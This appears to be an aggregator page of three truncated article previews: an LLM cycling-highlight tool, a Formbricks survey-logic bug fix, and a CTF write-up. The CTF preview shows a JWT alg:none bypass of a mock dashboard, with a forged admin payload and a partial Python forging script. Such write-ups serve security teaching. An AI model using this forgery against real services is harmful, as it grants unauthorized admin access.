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Show HN: ride-recap, teaching a LLM my taste to automate cycling highlights

TL;DR: Turn hours of raw GoPro footage + a .fit file into a 60-second highlight reel with ride telemetry burned in. Every second of the ride is scanned by gemini-3.5-flash, as is the clip ranking + curation. The whole thing costs about $0.04 per ride and takes 10 minutes. Longer version: Road cycling has been my primary form of exercise, social outlet, therapy, wardrobe expense, and personality trait for almost a decade. I ride most weekends, usually out of Manhattan and up 9W. By the end of a r

2026-07-18 原文 →
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Clear the Lineup — doesNotEqual was always true for single-select survey answers in Formbricks

This is a submission for DEV's Summer Bug Smash: Clear the Lineup . Project Overview Formbricks is an open-source survey and experience-management platform. Its packages/surveys package ships the client-side survey runner, and inside it, packages/surveys/src/lib/logic.ts is the module that decides, for every question and every "skip logic" / branching rule a survey author configures, whether a given condition ( equals , doesNotEqual , contains , isEmpty , and friends) is true for a respondent's answer. This is pure, unglamorous logic — but it's load-bearing: it's what routes respondents through the correct sequence of questions. I picked up issue #8527 for the "Clear the Lineup" track, which reports that doesNotEqual conditions weren't behaving correctly for single-choice questions. Bug Fix or Performance Improvement The doesNotEqual operator is supposed to be the exact logical negation of equals . For most answer shapes it was. But for MultipleChoiceSingle answers, the survey runtime sometimes represents the selected value as a single-element array rather than a bare string (this happens via getLeftOperandValue , e.g. when a choice answer is merged with an "other" option path). To handle that shape, both equals and doesNotEqual had a special-case clause that unwraps a one-element array and compares its only entry to the right-hand value. equals 's fallback: return ( ( Array . isArray ( leftValue ) && leftValue . length === 1 && typeof rightValue === " string " && leftValue . includes ( rightValue )) || leftValue === rightValue ); doesNotEqual 's fallback (before the fix): return ( ( Array . isArray ( leftValue ) && leftValue . length === 1 && typeof rightValue === " string " && ! leftValue . includes ( rightValue )) || leftValue !== rightValue ); At a glance this looks like a faithful "negate every sub-expression" mirror of equals . It isn't. The array-includes clause was correctly inverted ( !leftValue.includes(rightValue) ), but the second disjunct, leftValue !==

2026-07-18 原文 →
AI 资讯

FAM CTF : The Vault Door Writeup

Summary NexaVault is a mock internal dashboard app that gates an "Admin Vault" panel behind a role claim in a JWT. The app issues a user-role token on login, stored in the nx_access cookie, and trusts the claims inside it without properly re-verifying the signature on every request. Recon Logged in as a normal user ( strawhat ) and captured the request to /famctf/dashboard : Cookie: nx_access=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJzdHJhd2hhdCIsInJvbGUiOiJ1c2VyIn0.x5PRC4_NFw5cGM02QklUN5yq6rtGOMP_E8bKGxgIbME Decoding the JWT: Header { "alg" : "HS256" , "typ" : "JWT" } Payload { "sub" : "strawhat" , "role" : "user" } The dashboard UI showed an "Admin Vault" card locked behind Admin only , confirming role was the authorization check. Attempt 1 - Naive tampering (failed) Editing the payload directly to "role":"admin" while keeping the original HS256 signature predictably failed - the signature no longer matched the modified payload, and the server redirected to the login page. This confirmed the server does verify the signature against the payload, but didn't yet confirm how strictly it verifies the algorithm itself. Attempt 2 - alg:none bypass (success) Many JWT libraries historically honor the alg field declared in the token header to decide how to verify, including a none algorithm meant for unsigned/pre-verified tokens. If the server-side verification doesn't explicitly reject none , an attacker can forge any payload with zero knowledge of the signing secret. Forged header: { "alg" : "none" , "typ" : "JWT" } Forged payload: { "sub" : "strawhat" , "role" : "admin" } Forging Script import base64 , json def b64url ( data : bytes ) -> str : return base64 . urlsafe_b64encode ( data ). rstrip ( b ' = ' ). decode () header = { " alg " : " none " , " typ " : " JWT " } payload = { " sub " : " strawhat " , " role " : " admin " } h = b64url ( json . dumps ( header , separators = ( ' , ' , ' : ' )). encode ()) p = b64url ( json . dumps ( payload , separators = ( ' , ' ,

2026-07-18 原文 →